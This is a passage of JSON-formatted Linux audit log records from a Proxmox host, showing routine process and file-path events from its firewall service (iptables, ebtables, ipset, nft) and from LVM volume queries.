proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965475380,"@rawstring":"node=pve type=PATH msg=audit(1781965475.380:65763): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964971.334:63431): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475380,"@rawstring":"node=pve type=PATH msg=audit(1781965475.380:65762): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964971.334:63430): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475380,"@rawstring":"node=pve type=PATH msg=audit(1781965475.380:65762): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964971.334:63429): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475380,"@rawstring":"node=pve type=PATH msg=audit(1781965475.380:65761): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964971.320:63428): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475375,"@rawstring":"node=pve type=PATH msg=audit(1781965475.375:65760): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964971.320:63427): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475375,"@rawstring":"node=pve type=PATH msg=audit(1781965475.375:65760): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964971320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964971.320:63426): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475375,"@rawstring":"node=pve type=PATH msg=audit(1781965475.375:65760): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.311:63425): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475367,"@rawstring":"node=pve type=PATH msg=audit(1781965475.367:65759): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.311:63424): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475367,"@rawstring":"node=pve type=PATH msg=audit(1781965475.367:65759): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.311:63423): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475361,"@rawstring":"node=pve type=PATH msg=audit(1781965475.361:65758): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.303:63422): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475361,"@rawstring":"node=pve type=PATH msg=audit(1781965475.361:65758): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.303:63421): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475355,"@rawstring":"node=pve type=PATH msg=audit(1781965475.355:65757): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.303:63420): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965475355,"@rawstring":"node=pve type=PATH msg=audit(1781965475.355:65757): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.105:63419): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965475349,"@rawstring":"node=pve type=PATH msg=audit(1781965475.349:65756): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.102:63418): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965475349,"@rawstring":"node=pve type=PATH msg=audit(1781965475.349:65756): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.102:63417): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965475341,"@rawstring":"node=pve type=PATH msg=audit(1781965475.341:65755): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.101:63416): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965475341,"@rawstring":"node=pve type=PATH msg=audit(1781965475.341:65755): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.098:63415): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965474804,"@rawstring":"node=pve type=PATH msg=audit(1781965474.804:65754): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.091:63414): proctitle=\"ip6tables-save\""} {"@timestamp":1781965474804,"@rawstring":"node=pve type=PATH msg=audit(1781965474.804:65754): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.085:63413): proctitle=\"iptables-save\""} {"@timestamp":1781965474778,"@rawstring":"node=pve type=PATH msg=audit(1781965474.778:65753): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.079:63412): proctitle=\"ip6tables-save\""} {"@timestamp":1781965474778,"@rawstring":"node=pve type=PATH msg=audit(1781965474.778:65753): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965473129,"@rawstring":"node=pve type=PATH msg=audit(1781965473.129:65752): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966072,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.072:63411): proctitle=\"iptables-save\""} {"@timestamp":1781965473129,"@rawstring":"node=pve type=PATH msg=audit(1781965473.129:65752): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966069,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.069:63410): proctitle=\"ebtables-restore\""} {"@timestamp":1781965473129,"@rawstring":"node=pve type=PATH msg=audit(1781965473.129:65751): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.067:63409): proctitle=\"ebtables-restore\""} {"@timestamp":1781965473129,"@rawstring":"node=pve type=PATH msg=audit(1781965473.129:65750): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.063:63408): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965473121,"@rawstring":"node=pve type=PATH msg=audit(1781965473.121:65749): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.057:63407): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965473121,"@rawstring":"node=pve type=PATH msg=audit(1781965473.121:65749): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966052,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.052:63406): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965473121,"@rawstring":"node=pve type=PATH msg=audit(1781965473.121:65748): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.047:63405): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965473121,"@rawstring":"node=pve type=PATH msg=audit(1781965473.121:65747): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966042,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.042:63404): proctitle=697073657400726573746F7265"} {"@timestamp":1781965468110,"@rawstring":"node=pve type=PATH msg=audit(1781965468.110:65746): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.034:63403): proctitle=\"ip6tables-save\""} {"@timestamp":1781965468110,"@rawstring":"node=pve type=PATH msg=audit(1781965468.110:65746): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.029:63402): proctitle=\"iptables-save\""} {"@timestamp":1781965468110,"@rawstring":"node=pve type=PATH msg=audit(1781965468.110:65745): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966025,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.025:63401): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965468110,"@rawstring":"node=pve type=PATH msg=audit(1781965468.110:65744): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.022:63400): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965468102,"@rawstring":"node=pve type=PATH msg=audit(1781965468.102:65743): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.021:63399): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965468102,"@rawstring":"node=pve type=PATH msg=audit(1781965468.102:65743): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.021:63398): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965468102,"@rawstring":"node=pve type=PATH msg=audit(1781965468.102:65742): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966017,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.017:63397): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965468102,"@rawstring":"node=pve type=PATH msg=audit(1781965468.102:65741): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966010,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.010:63396): proctitle=\"ip6tables-save\""} {"@timestamp":1781965465330,"@rawstring":"node=pve type=PATH msg=audit(1781965465.330:65740): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964966005,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964966.005:63395): proctitle=\"iptables-save\""} {"@timestamp":1781965465330,"@rawstring":"node=pve type=PATH msg=audit(1781965465.330:65740): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965999,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964965.999:63394): proctitle=69707365740073617665"} {"@timestamp":1781965465321,"@rawstring":"node=pve type=PATH msg=audit(1781965465.321:65739): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964965.993:63393): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965465321,"@rawstring":"node=pve type=PATH msg=audit(1781965465.321:65739): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964965987,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964965.987:63392): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965465321,"@rawstring":"node=pve type=PATH msg=audit(1781965465.321:65738): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964964736,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964964.736:63391): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965465321,"@rawstring":"node=pve type=PATH msg=audit(1781965465.321:65738): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964964705,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964964.705:63390): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965465321,"@rawstring":"node=pve type=PATH msg=audit(1781965465.321:65737): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964961.285:63389): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465317,"@rawstring":"node=pve type=PATH msg=audit(1781965465.317:65736): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964961.285:63388): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465317,"@rawstring":"node=pve type=PATH msg=audit(1781965465.317:65736): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964961.285:63387): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465317,"@rawstring":"node=pve type=PATH msg=audit(1781965465.317:65736): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964961.275:63386): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465309,"@rawstring":"node=pve type=PATH msg=audit(1781965465.309:65735): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964961.275:63385): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465309,"@rawstring":"node=pve type=PATH msg=audit(1781965465.309:65735): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964961275,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964961.275:63384): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465303,"@rawstring":"node=pve type=PATH msg=audit(1781965465.303:65734): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956265,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964956.265:63383): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465303,"@rawstring":"node=pve type=PATH msg=audit(1781965465.303:65734): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956265,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964956.265:63382): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465297,"@rawstring":"node=pve type=PATH msg=audit(1781965465.297:65733): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956265,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964956.265:63381): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465297,"@rawstring":"node=pve type=PATH msg=audit(1781965465.297:65733): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964956.255:63380): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465291,"@rawstring":"node=pve type=PATH msg=audit(1781965465.291:65732): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964956.255:63379): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465291,"@rawstring":"node=pve type=PATH msg=audit(1781965465.291:65732): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964956255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964956.255:63378): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965465285,"@rawstring":"node=pve type=PATH msg=audit(1781965465.285:65730): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955978,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.978:63377): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965465285,"@rawstring":"node=pve type=PATH msg=audit(1781965465.285:65730): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955974,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.974:63376): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965465281,"@rawstring":"node=pve type=PATH msg=audit(1781965465.281:65729): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.973:63375): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965465281,"@rawstring":"node=pve type=PATH msg=audit(1781965465.281:65729): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964955973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964955.973:63374): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965465275,"@rawstring":"node=pve type=PATH msg=audit(1781965465.275:65728): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 